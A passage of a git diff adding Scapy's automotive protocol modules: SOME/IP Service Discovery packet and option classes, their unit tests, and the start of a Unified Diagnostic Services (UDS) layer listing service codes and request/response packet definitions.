+ + return { + _SDOption.CFG_TYPE: SDOption_Config, + self.LOADBALANCE_TYPE: SDOption_LoadBalance, + self.IP4_ENDPOINT_TYPE: SDOption_IP4_EndPoint, + self.IP4_MCAST_TYPE: SDOption_IP4_Multicast, + self.IP4_SDENDPOINT_TYPE: SDOption_IP4_SD_EndPoint, + self.IP6_ENDPOINT_TYPE: SDOption_IP6_EndPoint, + self.IP6_MCAST_TYPE: SDOption_IP6_Multicast, + self.IP6_SDENDPOINT_TYPE: SDOption_IP6_SD_EndPoint + }.get(pl_type, Raw) + + +class _SDOption_Header(_SDOption): + fields_desc = [ + ShortField("len", None), + ByteField("type", 0), + ByteField("res_hdr", 0) + ] + + +class _SDOption_Tail(_SDOption): + fields_desc = [ + ByteField("res_tail", 0), + ByteEnumField("l4_proto", 0x06, {0x06: "TCP", 0x11: "UDP"}), + ShortField("port", 0) + ] + + +class _SDOption_IP4(_SDOption): + fields_desc = [ + _SDOption_Header, + IPField("addr", "0.0.0.0"), + _SDOption_Tail + ] + + +class _SDOption_IP6(_SDOption): + fields_desc = [ + _SDOption_Header, + IP6Field("addr", "2001:cdba:0000:0000:0000:0000:3257:9652"), + _SDOption_Tail + ] + + +class SDOption_Config(_SDOption): + LEN_OFFSET = 0x01 + + name = "Config Option" + _defaults = {'type': _SDOption.CFG_TYPE} + fields_desc = [ + _SDOption_Header, + StrField("cfg_str", "") + ] + + def post_build(self, pkt, pay): + length = self.len + if (length is None): + length = len(self.cfg_str) + self.LEN_OFFSET + pkt = struct.pack("!H", length) + pkt[2:] + return (pkt + pay) + + +class SDOption_LoadBalance(_SDOption): + name = "LoadBalance Option" + _defaults = {'type': _SDOption.LOADBALANCE_TYPE, + 'len': _SDOption.LOADBALANCE_LEN} + fields_desc = [ + _SDOption_Header, + ShortField("priority", 0), + ShortField("weight", 0) + ] + + +class SDOption_IP4_EndPoint(_SDOption_IP4): + name = "IP4 EndPoint Option" + _defaults = {'type': _SDOption.IP4_ENDPOINT_TYPE, + 'len': _SDOption.IP4_ENDPOINT_LEN} + + +class SDOption_IP4_Multicast(_SDOption_IP4): + name = "IP4 Multicast Option" + _defaults = {'type': _SDOption.IP4_MCAST_TYPE, + 'len': _SDOption.IP4_MCAST_LEN} + + +class SDOption_IP4_SD_EndPoint(_SDOption_IP4): + name = "IP4 SDEndPoint Option" + _defaults = {'type': _SDOption.IP4_SDENDPOINT_TYPE, + 'len': _SDOption.IP4_SDENDPOINT_LEN} + + +class SDOption_IP6_EndPoint(_SDOption_IP6): + name = "IP6 EndPoint Option" + _defaults = {'type': _SDOption.IP6_ENDPOINT_TYPE, + 'len': _SDOption.IP6_ENDPOINT_LEN} + + +class SDOption_IP6_Multicast(_SDOption_IP6): + name = "IP6 Multicast Option" + _defaults = {'type': _SDOption.IP6_MCAST_TYPE, + 'len': _SDOption.IP6_MCAST_LEN} + + +class SDOption_IP6_SD_EndPoint(_SDOption_IP6): + name = "IP6 SDEndPoint Option" + _defaults = {'type': _SDOption.IP6_SDENDPOINT_TYPE, + 'len': _SDOption.IP6_SDENDPOINT_LEN} + + +## +# SD PACKAGE DEFINITION +## +class SD(_SDPacketBase): + """ + SD Packet + + NOTE : when adding 'entries' or 'options', do not use list.append() + method but create a new list + e.g. : p = SD() + p.option_array = [SDOption_Config(),SDOption_IP6_EndPoint()] + """ + SOMEIP_MSGID_SRVID = 0xffff + SOMEIP_MSGID_SUBID = 0x1 + SOMEIP_MSGID_EVENTID = 0x100 + SOMEIP_PROTO_VER = 0x01 + SOMEIP_IFACE_VER = 0x01 + SOMEIP_MSG_TYPE = SOMEIP.TYPE_NOTIFICATION + + name = "SD" + _sdFlag = collections.namedtuple('Flag', 'mask offset') + FLAGSDEF = { + "REBOOT": _sdFlag(mask=0x80, offset=7), + "UNICAST": _sdFlag(mask=0x40, offset=6) + } + + name = "SD" + fields_desc = [ + ByteField("flags", 0), + X3BytesField("res", 0), + FieldLenField("len_entry_array", None, + length_of="entry_array", fmt="!I"), + PacketListField("entry_array", None, cls=_SDEntry, + length_from=lambda pkt: pkt.len_entry_array), + FieldLenField("len_option_array", None, + length_of="option_array", fmt="!I"), + PacketListField("option_array", None, cls=_SDOption, + length_from=lambda pkt: pkt.len_option_array) + ] + + def get_flag(self, name): + name = name.upper() + if (name in self.FLAGSDEF): + return ((self.flags & self.FLAGSDEF[name].mask) >> + self.FLAGSDEF[name].offset) + else: + return None + + def set_flag(self, name, value): + name = name.upper() + if (name in self.FLAGSDEF): + self.flags = (self.flags & + (ctypes.c_ubyte(~self.FLAGSDEF[name].mask).value)) \ + | ((value & 0x01) << self.FLAGSDEF[name].offset) + + def set_entryArray(self, entry_list): + if (isinstance(entry_list, list)): + self.entry_array = entry_list + else: + self.entry_array = [entry_list] + + def set_optionArray(self, option_list): + if (isinstance(option_list, list)): + self.option_array = option_list + else: + self.option_array = [option_list] + + def get_someip(self, stacked=False): + p = SOMEIP() + p.msg_id.srv_id = SD.SOMEIP_MSGID_SRVID + p.msg_id.sub_id = SD.SOMEIP_MSGID_SUBID + p.msg_id.event_id = SD.SOMEIP_MSGID_EVENTID + p.proto_ver = SD.SOMEIP_PROTO_VER + p.iface_ver = SD.SOMEIP_IFACE_VER + p.msg_type = SD.SOMEIP_MSG_TYPE + + if (stacked): + return (p / self) + else: + return (p) diff --git a/libs/scapy/contrib/automotive/someip_sd.uts b/libs/scapy/contrib/automotive/someip_sd.uts new file mode 100755 index 0000000..41f28e7 --- /dev/null +++ b/libs/scapy/contrib/automotive/someip_sd.uts @@ -0,0 +1,381 @@ +# MIT License + +# Copyright (c) 2018 Jose Amores + +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: + +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. + +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Sebastian Baar +# This program is published under a GPLv2 license + +######### +######### + ++ SD Entry Service + +=load module + +load_contrib("automotive.someip_sd") + += Check packet length + +p = SDEntry_Service() +assert(len(bytes(p)) == SDEntry_Service.OVERALL_LEN) + += Check fields setting + +p.type = SDEntry_Service.TYPE_SRV_OFFERSERVICE +p.index_1 = 0x11 +p.index_2 = 0x22 +p.srv_id = 0x3333 +p.inst_id = 0x4444 +p.major_ver = 0x55 +p.ttl = 0x666666 +p.minor_ver = 0xdeadbeef +p_str = bytes(p) +bin_str = b"\x01\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\xde\xad\xbe\xef" + +assert(p_str == bin_str) + += Check fields setting2 + +p = SDEntry_Service() +p.n_opt_1 = 0xf1 +p.n_opt_2 = 0xf2 +p_str = bytes(p) +bin_str = b"\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + +assert(p_str == bin_str) +assert(len(p_str) == SDEntry_Service.OVERALL_LEN) + += Check payload guess + +p_entry_srv = SDEntry_Service() + +assert(SDEntry_Service().guess_payload_class(bytes(p_entry_srv)) == + SDEntry_Service) + += Check SDEntry_Service + +p = SDEntry_Service( + b"\x01\x22\x33\x00\x44\x44\x55\x55\x66\x77\x77\x77\xde\xad\xbe\xef") + +assert(p.type == SDEntry_Service.TYPE_SRV_OFFERSERVICE) +assert(p.index_1 == 0x22) +assert(p.index_2 == 0x33) +assert(p.srv_id == 0x4444) +assert(p.inst_id == 0x5555) +assert(p.major_ver == 0x66) +assert(p.ttl == 0x777777) +assert(p.minor_ver == 0xdeadbeef) + ++ SD Entry Eventgroup + += Check packet length + +p = SDEntry_EventGroup() + +assert(len(bytes(p)) == SDEntry_EventGroup.OVERALL_LEN) + += Check fields setting + +p.index_1 = 0x11 +p.index_2 = 0x22 +p.srv_id = 0x3333 +p.inst_id = 0x4444 +p.major_ver = 0x55 +p.ttl = 0x666666 +p.cnt = 0x7 +p.eventgroup_id = 0x8888 +p_str = bytes(p) +bin_str = b"\x06\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\x00\x07\x88\x88" + +assert(p_str == bin_str) + += Check payload guess +p_entry_evtgrp = SDEntry_EventGroup() + +assert(SDEntry_EventGroup().guess_payload_class( + bytes(p_entry_evtgrp)) == SDEntry_EventGroup) + ++ SD Option Config + += Check pkg type + +p = SDOption_Config() + +assert(p.type == 0x01) + += Check length without payload + +assert(len(bytes(p)) == 4) + += Check add payload and check length +import binascii +p.cfg_str = binascii.hexlify(b"5abc=x7def=1230") + +assert(bytes(p) == b"\x00\x1f\x01\x00" + + binascii.hexlify(b"5abc=x7def=1230")) + += Check payload guess + +assert(SDOption_Config().guess_payload_class(bytes(p)) == SDOption_Config) + += Check SDEntry_EventGroup + +p = SDEntry_EventGroup( + b"\x06\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\x00\x07\x88\x88") + +assert(p.index_1 == 0x11) +assert(p.index_2 == 0x22) +assert(p.srv_id == 0x3333) +assert(p.inst_id == 0x4444) +assert(p.major_ver == 0x55) +assert(p.ttl == 0x666666) +assert(p.cnt == 0x7) +assert(p.eventgroup_id == 0x8888) + ++ SD Option Load Balance + += Check pkg type & lengths(static and overall) + +p = SDOption_LoadBalance() + +assert(p.type == 0x02) +assert(p.len == 0x05) +assert(len(bytes(p)) == 8) + += Check payload guess + +assert(SDOption_LoadBalance().guess_payload_class( + bytes(p)) == SDOption_LoadBalance) + += Check SDOption_LoadBalance + +p = SDOption_LoadBalance(b'\x00\x05\x02\x01\x00\x02\x00\x03') + +assert(p.type == 0x02) +assert(p.len == 0x05) +assert(p.res_hdr == 0x01) +assert(p.priority == 0x02) +assert(p.weight == 0x03) + ++SD Option IP4 Endpoint + += Check pkg type & length + +p = SDOption_IP4_EndPoint() + +assert(p.type == 0x04) +assert(p.len == 0x0009) + += Check payload guess + +assert(SDOption_IP4_EndPoint().guess_payload_class( + bytes(p)) == SDOption_IP4_EndPoint) + += Check SDOption_IP4_EndPoint + +p = SDOption_IP4_EndPoint(b'\x00\x09\x04') + +assert(p.type == 0x04) +assert(p.len == 0x0009) + ++SD Option IP4 Multicast + += Check pkg type & length + +p = SDOption_IP4_Multicast() + +assert(p.type == 0x14) +assert(p.len == 0x0009) + += Payload guess + +assert(SDOption_IP4_Multicast().guess_payload_class( + bytes(p)) == SDOption_IP4_Multicast) + += Check SDOption_IP4_Multicast + +p = SDOption_IP4_Multicast(b'\x00\x09\x14') + +assert(p.type == 0x14) +assert(p.len == 0x0009) + ++SD OPTION IP4 SD EndPoint + += Check pkg type & length + +p = SDOption_IP4_SD_EndPoint() + +assert(p.type == 0x24) +assert(p.len == 0x0009) + += Check payload guess + +assert(SDOption_IP4_SD_EndPoint().guess_payload_class( + bytes(p)) == SDOption_IP4_SD_EndPoint) + += Check SDOption_IP4_SD_EndPoint + +p = SDOption_IP4_SD_EndPoint(b'\x00\x09\x24') + +assert(p.type == 0x24) +assert(p.len == 0x0009) + ++SD Option IP6 End Point + += Check pkg type & length + +p = SDOption_IP6_EndPoint() + +assert(p.type == 0x06) +assert(p.len == 0x0015) + += Check payload guess + +assert(SDOption_IP6_EndPoint().guess_payload_class( + bytes(p)) == SDOption_IP6_EndPoint) + += Check SDOption_IP6_EndPoint + +p = SDOption_IP6_EndPoint(b'\x00\x15\x06') + +assert(p.type == 0x06) +assert(p.len == 0x0015) + ++SD Option IP6 Multicast + += Check pkg type & length + +p = SDOption_IP6_Multicast() + +assert(p.type == 0x16) +assert(p.len == 0x0015) + += Check payload guess + +assert(SDOption_IP6_Multicast().guess_payload_class( + bytes(p)) == SDOption_IP6_Multicast) + += Check SDOption_IP6_Multicast +p = SDOption_IP6_Multicast(b'\x00\x15\x16') + +assert(p.type == 0x16) +assert(p.len == 0x0015) + ++SD OPTION IP6 SD EndPoint + += Check pkg type & length + +p = SDOption_IP6_SD_EndPoint() + +assert(p.type == 0x26) +assert(p.len == 0x015) + += Check payload guess + +assert(SDOption_IP6_SD_EndPoint().guess_payload_class( + bytes(p)) == SDOption_IP6_SD_EndPoint) + += Check SDOption_IP6_SD_EndPoint + +p = SDOption_IP6_SD_EndPoint(b'\x00\x15\x26') + +assert(p.type == 0x26) +assert(p.len == 0x0015) + ++ SD Flags + += Check the flags + +p = SD() + +p.set_flag("REBOOT", 1) + +assert(p.flags == 0x80) + +p.set_flag("REBOOT", 0) + +assert(p.flags == 0x00) + +p.set_flag("UNICAST", 1) + +assert(p.flags == 0x40) + +p.set_flag("UNICAST", 0) + +assert(p.flags == 0x00) + +p.set_flag("REBOOT", 1) +p.set_flag("UNICAST", 1) + +assert(p.flags == 0xc0) + ++SD Get Someip Packet + += Check someip packet + +p_sd = SD() +sd_len = bytes(p_sd) + +p_someip = p_sd.get_someip() + +assert(len(bytes(p_someip)) == SOMEIP._OVERALL_LEN_NOPAYLOAD) + +p = p_sd.get_someip(stacked=True) + +assert(len(bytes(p)) == SOMEIP._OVERALL_LEN_NOPAYLOAD + 12) + ++ SD + += Check length of package without entries nor options + +p = SD() + +assert(len(bytes(p)) == 12) + += Check entries to array and size check + +p.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()]) + +assert(struct.unpack("!L", bytes(p)[4:8])[0] == 32) + +p.set_entryArray([]) + +assert(struct.unpack("!L", bytes(p)[4:8])[0] == 0) + += Check Options to array and size check + +p.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()]) + +assert(struct.unpack("!L", bytes(p)[8:12])[0] == 24) + +p.set_optionArray([]) + +assert(struct.unpack("!L", bytes(p)[8:12])[0] == 0) + += Check Entries & Options to array and size check + +p.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()]) +p.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()]) + +assert(struct.unpack("!L", bytes(p)[4:8])[0] == 32) +assert(struct.unpack("!L", bytes(p)[40:44])[0] == 24) diff --git a/libs/scapy/contrib/automotive/uds.py b/libs/scapy/contrib/automotive/uds.py new file mode 100755 index 0000000..64edd6f --- /dev/null +++ b/libs/scapy/contrib/automotive/uds.py @@ -0,0 +1,1412 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = Unified Diagnostic Service (UDS) +# scapy.contrib.status = loads + +import struct +from itertools import product +from scapy.fields import ByteEnumField, StrField, ConditionalField, \ + BitEnumField, BitField, XByteField, FieldListField, \ + XShortField, X3BytesField, XIntField, ByteField, \ + ShortField, ObservableDict, XShortEnumField, XByteEnumField +from scapy.packet import Packet, bind_layers, NoPayload +from scapy.config import conf +from scapy.error import log_loading +from scapy.utils import PeriodicSenderThread +from scapy.contrib.isotp import ISOTP + +""" +UDS +""" + +try: + if conf.contribs['UDS']['treat-response-pending-as-answer']: + pass +except KeyError: + log_loading.info("Specify \"conf.contribs['UDS'] = " + "{'treat-response-pending-as-answer': True}\" to treat " + "a negative response 'requestCorrectlyReceived-" + "ResponsePending' as answer of a request. \n" + "The default value is False.") + conf.contribs['UDS'] = {'treat-response-pending-as-answer': False} + + +class UDS(ISOTP): + services = ObservableDict( + {0x10: 'DiagnosticSessionControl', + 0x11: 'ECUReset', + 0x14: 'ClearDiagnosticInformation', + 0x19: 'ReadDTCInformation', + 0x22: 'ReadDataByIdentifier', + 0x23: 'ReadMemoryByAddress', + 0x24: 'ReadScalingDataByIdentifier', + 0x27: 'SecurityAccess', + 0x28: 'CommunicationControl', + 0x2A: 'ReadDataPeriodicIdentifier', + 0x2C: 'DynamicallyDefineDataIdentifier', + 0x2E: 'WriteDataByIdentifier', + 0x2F: 'InputOutputControlByIdentifier', + 0x31: 'RoutineControl', + 0x34: 'RequestDownload', + 0x35: 'RequestUpload', + 0x36: 'TransferData', + 0x37: 'RequestTransferExit', + 0x3D: 'WriteMemoryByAddress', + 0x3E: 'TesterPresent', + 0x50: 'DiagnosticSessionControlPositiveResponse', + 0x51: 'ECUResetPositiveResponse', + 0x54: 'ClearDiagnosticInformationPositiveResponse', + 0x59: 'ReadDTCInformationPositiveResponse', + 0x62: 'ReadDataByIdentifierPositiveResponse', + 0x63: 'ReadMemoryByAddressPositiveResponse', + 0x64: 'ReadScalingDataByIdentifierPositiveResponse', + 0x67: 'SecurityAccessPositiveResponse', + 0x68: 'CommunicationControlPositiveResponse', + 0x6A: 'ReadDataPeriodicIdentifierPositiveResponse', + 0x6C: 'DynamicallyDefineDataIdentifierPositiveResponse', + 0x6E: 'WriteDataByIdentifierPositiveResponse', + 0x6F: 'InputOutputControlByIdentifierPositiveResponse', + 0x71: 'RoutineControlPositiveResponse', + 0x74: 'RequestDownloadPositiveResponse', + 0x75: 'RequestUploadPositiveResponse', + 0x76: 'TransferDataPositiveResponse', + 0x77: 'RequestTransferExitPositiveResponse', + 0x7D: 'WriteMemoryByAddressPositiveResponse', + 0x7E: 'TesterPresentPositiveResponse', + 0x83: 'AccessTimingParameter', + 0x84: 'SecuredDataTransmission', + 0x85: 'ControlDTCSetting', + 0x86: 'ResponseOnEvent', + 0x87: 'LinkControl', + 0xC3: 'AccessTimingParameterPositiveResponse', + 0xC4: 'SecuredDataTransmissionPositiveResponse', + 0xC5: 'ControlDTCSettingPositiveResponse', + 0xC6: 'ResponseOnEventPositiveResponse', + 0xC7: 'LinkControlPositiveResponse', + 0x7f: 'NegativeResponse'}) + name = 'UDS' + fields_desc = [ + XByteEnumField('service', 0, services) + ] + + def answers(self, other): + if other.__class__ != self.__class__: + return False + if self.service == 0x7f: + return self.payload.answers(other) + if self.service == (other.service + 0x40): + if isinstance(self.payload, NoPayload) or \ + isinstance(other.payload, NoPayload): + return len(self) <= len(other) + else: + return self.payload.answers(other.payload) + return False + + def hashret(self): + if self.service == 0x7f: + return struct.pack('B', self.requestServiceId) + return struct.pack('B', self.service & ~0x40) + + +# ########################DSC################################### +class UDS_DSC(Packet): + diagnosticSessionTypes = ObservableDict({ + 0x00: 'ISOSAEReserved', + 0x01: 'defaultSession', + 0x02: 'programmingSession', + 0x03: 'extendedDiagnosticSession', + 0x04: 'safetySystemDiagnosticSession', + 0x7F: 'ISOSAEReserved'}) + name = 'DiagnosticSessionControl' + fields_desc = [ + ByteEnumField('diagnosticSessionType', 0, diagnosticSessionTypes) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_DSC.diagnosticSessionType%") + + +bind_layers(UDS, UDS_DSC, service=0x10) + + +class UDS_DSCPR(Packet): + name = 'DiagnosticSessionControlPositiveResponse' + fields_desc = [ + ByteEnumField('diagnosticSessionType', 0, + UDS_DSC.diagnosticSessionTypes), + StrField('sessionParameterRecord', B"") + ] + + def answers(self, other): + return other.__class__ == UDS_DSC and \ + other.diagnosticSessionType == self.diagnosticSessionType + + @staticmethod + def modifies_ecu_state(pkt, ecu): + ecu.current_session = pkt.diagnosticSessionType + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_DSCPR.diagnosticSessionType%") + + +bind_layers(UDS, UDS_DSCPR, service=0x50) + + +# #########################ER################################### +class UDS_ER(Packet): + resetTypes = { + 0x00: 'ISOSAEReserved', + 0x01: 'hardReset', + 0x02: 'keyOffOnReset', + 0x03: 'softReset', + 0x04: 'enableRapidPowerShutDown', + 0x05: 'disableRapidPowerShutDown', + 0x7F: 'ISOSAEReserved'} + name = 'ECUReset' + fields_desc = [ + ByteEnumField('resetType', 0, resetTypes) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_ER.resetType%") + + +bind_layers(UDS, UDS_ER, service=0x11) + + +class UDS_ERPR(Packet): + name = 'ECUResetPositiveResponse' + fields_desc = [ + ByteEnumField('resetType', 0, UDS_ER.resetTypes), + ConditionalField(ByteField('powerDownTime', 0), + lambda pkt: pkt.resetType == 0x04) + ] + + def answers(self, other): + return other.__class__ == UDS_ER + + @staticmethod + def modifies_ecu_state(_, ecu): + ecu.reset() + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_ER.resetType%") + + +bind_layers(UDS, UDS_ERPR, service=0x51) + + +# #########################SA################################### +class UDS_SA(Packet): + name = 'SecurityAccess' + fields_desc = [ + ByteField('securityAccessType', 0), + ConditionalField(StrField('securityAccessDataRecord', B""), + lambda pkt: pkt.securityAccessType % 2 == 1), + ConditionalField(StrField('securityKey', B""), + lambda pkt: pkt.securityAccessType % 2 == 0) + ] + + @staticmethod + def get_log(pkt): + if pkt.securityAccessType % 2 == 1: + return pkt.sprintf("%UDS.service%"),\ + (pkt.securityAccessType, None) + else: + return pkt.sprintf("%UDS.service%"),\ + (pkt.securityAccessType, pkt.securityKey) + + +bind_layers(UDS, UDS_SA, service=0x27) + + +class UDS_SAPR(Packet): + name = 'SecurityAccessPositiveResponse' + fields_desc = [ + ByteField('securityAccessType', 0), + ConditionalField(StrField('securitySeed', B""), + lambda pkt: pkt.securityAccessType % 2 == 1), + ] + + def answers(self, other): + return other.__class__ == UDS_SA \ + and other.securityAccessType == self.securityAccessType + + @staticmethod + def modifies_ecu_state(pkt, ecu): + if pkt.securityAccessType % 2 == 0: + ecu.current_security_level = pkt.securityAccessType + + @staticmethod + def get_log(pkt): + if pkt.securityAccessType % 2 == 0: + return pkt.sprintf("%UDS.service%"),\ + (pkt.securityAccessType, None) + else: + return pkt.sprintf("%UDS.service%"),\ + (pkt.securityAccessType, pkt.securitySeed) + + +bind_layers(UDS, UDS_SAPR, service=0x67) + + +# #########################CC################################### +class UDS_CC(Packet): + controlTypes = { + 0x00: 'enableRxAndTx', + 0x01: 'enableRxAndDisableTx', + 0x02: 'disableRxAndEnableTx', + 0x03: 'disableRxAndTx' + } + name = 'CommunicationControl' + fields_desc = [ + ByteEnumField('controlType', 0, controlTypes), + BitEnumField('communicationType0', 0, 2, + {0: 'ISOSAEReserved', + 1: 'normalCommunicationMessages', + 2: 'networkManagmentCommunicationMessages', + 3: 'networkManagmentCommunicationMessages and ' + 'normalCommunicationMessages'}), + BitField('communicationType1', 0, 2), + BitEnumField('communicationType2', 0, 4, + {0: 'Disable/Enable specified communication Type', + 1: 'Disable/Enable specific subnet', + 2: 'Disable/Enable specific subnet', + 3: 'Disable/Enable specific subnet', + 4: 'Disable/Enable specific subnet', + 5: 'Disable/Enable specific subnet', + 6: 'Disable/Enable specific subnet', + 7: 'Disable/Enable specific subnet', + 8: 'Disable/Enable specific subnet', + 9: 'Disable/Enable specific subnet', + 10: 'Disable/Enable specific subnet', + 11: 'Disable/Enable specific subnet', + 12: 'Disable/Enable specific subnet', + 13: 'Disable/Enable specific subnet', + 14: 'Disable/Enable specific subnet', + 15: 'Disable/Enable network'}) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_CC.controlType%") + + +bind_layers(UDS, UDS_CC, service=0x28) + + +class UDS_CCPR(Packet): + name = 'CommunicationControlPositiveResponse' + fields_desc = [ + ByteEnumField('controlType', 0, UDS_CC.controlTypes) + ] + + def answers(self, other): + return other.__class__ == UDS_CC \ + and other.controlType == self.controlType + + @staticmethod + def modifies_ecu_state(pkt, ecu): + ecu.communication_control = pkt.controlType + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_CCPR.controlType%") + + +bind_layers(UDS, UDS_CCPR, service=0x68) + + +# #########################TP################################### +class UDS_TP(Packet): + name = 'TesterPresent' + fields_desc = [ + ByteField('subFunction', 0) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.subFunction + + +bind_layers(UDS, UDS_TP, service=0x3E) + + +class UDS_TPPR(Packet): + name = 'TesterPresentPositiveResponse' + fields_desc = [ + ByteField('zeroSubFunction', 0) + ] + + def answers(self, other): + return other.__class__ == UDS_TP + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.zeroSubFunction + + +bind_layers(UDS, UDS_TPPR, service=0x7E) + + +# #########################ATP################################### +class UDS_ATP(Packet): + timingParameterAccessTypes = { + 0: 'ISOSAEReserved', + 1: 'readExtendedTimingParameterSet', + 2: 'setTimingParametersToDefaultValues', + 3: 'readCurrentlyActiveTimingParameters', + 4: 'setTimingParametersToGivenValues' + } + name = 'AccessTimingParameter' + fields_desc = [ + ByteEnumField('timingParameterAccessType', 0, + timingParameterAccessTypes), + ConditionalField(StrField('timingParameterRequestRecord', B""), + lambda pkt: pkt.timingParameterAccessType == 0x4) + ] + + +bind_layers(UDS, UDS_ATP, service=0x83) + + +class UDS_ATPPR(Packet): + name = 'AccessTimingParameterPositiveResponse' + fields_desc = [ + ByteEnumField('timingParameterAccessType', 0, + UDS_ATP.timingParameterAccessTypes), + ConditionalField(StrField('timingParameterResponseRecord', B""), + lambda pkt: pkt.timingParameterAccessType == 0x3) + ] + + def answers(self, other): + return other.__class__ == UDS_ATP \ + and other.timingParameterAccessType == \ + self.timingParameterAccessType + + +bind_layers(UDS, UDS_ATPPR, service=0xC3) + + +# #########################SDT################################### +class UDS_SDT(Packet): + name = 'SecuredDataTransmission' + fields_desc = [ + StrField('securityDataRequestRecord', B"") + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.securityDataRequestRecord + + +bind_layers(UDS, UDS_SDT, service=0x84) + + +class UDS_SDTPR(Packet): + name = 'SecuredDataTransmissionPositiveResponse' + fields_desc = [ + StrField('securityDataResponseRecord', B"") + ] + + def answers(self, other): + return other.__class__ == UDS_SDT + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), pkt.securityDataResponseRecord + + +bind_layers(UDS, UDS_SDTPR, service=0xC4) + + +# #########################CDTCS################################### +class UDS_CDTCS(Packet): + DTCSettingTypes = { + 0: 'ISOSAEReserved', + 1: 'on', + 2: 'off' + } + name = 'ControlDTCSetting' + fields_desc = [ + ByteEnumField('DTCSettingType', 0, DTCSettingTypes), + StrField('DTCSettingControlOptionRecord', B"") + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_CDTCS.DTCSettingType%") + + +bind_layers(UDS, UDS_CDTCS, service=0x85) + + +class UDS_CDTCSPR(Packet): + name = 'ControlDTCSettingPositiveResponse' + fields_desc = [ + ByteEnumField('DTCSettingType', 0, UDS_CDTCS.DTCSettingTypes) + ] + + def answers(self, other): + return other.__class__ == UDS_CDTCS + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS_CDTCSPR.DTCSettingType%") + + +bind_layers(UDS, UDS_CDTCSPR, service=0xC5) + + +# #########################ROE################################### +# TODO: improve this protocol implementation +class UDS_ROE(Packet): + eventTypes = { + 0: 'doNotStoreEvent', + 1: 'storeEvent' + } + name = 'ResponseOnEvent' + fields_desc = [ + ByteEnumField('eventType', 0, eventTypes), + ByteField('eventWindowTime', 0), + StrField('eventTypeRecord', B"") + ] + + +bind_layers(UDS, UDS_ROE, service=0x86) + + +class UDS_ROEPR(Packet): + name = 'ResponseOnEventPositiveResponse' + fields_desc = [ + ByteEnumField('eventType', 0, UDS_ROE.eventTypes), + ByteField('numberOfIdentifiedEvents', 0), + ByteField('eventWindowTime', 0), + StrField('eventTypeRecord', B"") + ] + + def answers(self, other): + return other.__class__ == UDS_ROE \ + and other.eventType == self.eventType + + +bind_layers(UDS, UDS_ROEPR, service=0xC6) + + +# #########################LC################################### +class UDS_LC(Packet): + linkControlTypes = { + 0: 'ISOSAEReserved', + 1: 'verifyBaudrateTransitionWithFixedBaudrate', + 2: 'verifyBaudrateTransitionWithSpecificBaudrate', + 3: 'transitionBaudrate' + } + name = 'LinkControl' + fields_desc = [ + ByteEnumField('linkControlType', 0, linkControlTypes), + ConditionalField(ByteField('baudrateIdentifier', 0), + lambda pkt: pkt.linkControlType == 0x1), + ConditionalField(ByteField('baudrateHighByte', 0), + lambda pkt: pkt.linkControlType == 0x2), + ConditionalField(ByteField('baudrateMiddleByte', 0), + lambda pkt: pkt.linkControlType == 0x2), + ConditionalField(ByteField('baudrateLowByte', 0), + lambda pkt: pkt.linkControlType == 0x2) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS.linkControlType%") + + +bind_layers(UDS, UDS_LC, service=0x87) + + +class UDS_LCPR(Packet): + name = 'LinkControlPositiveResponse' + fields_desc = [ + ByteEnumField('linkControlType', 0, UDS_LC.linkControlTypes) + ] + + def answers(self, other): + return other.__class__ == UDS_LC \ + and other.linkControlType == self.linkControlType + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%UDS.service%"), \ + pkt.sprintf("%UDS.linkControlType%") + + +bind_layers(UDS, UDS_LCPR, service=0xC7) + + +# #########################RDBI################################### +class UDS_RDBI(Packet): + dataIdentifiers = ObservableDict() + name = 'ReadDataByIdentifier' + 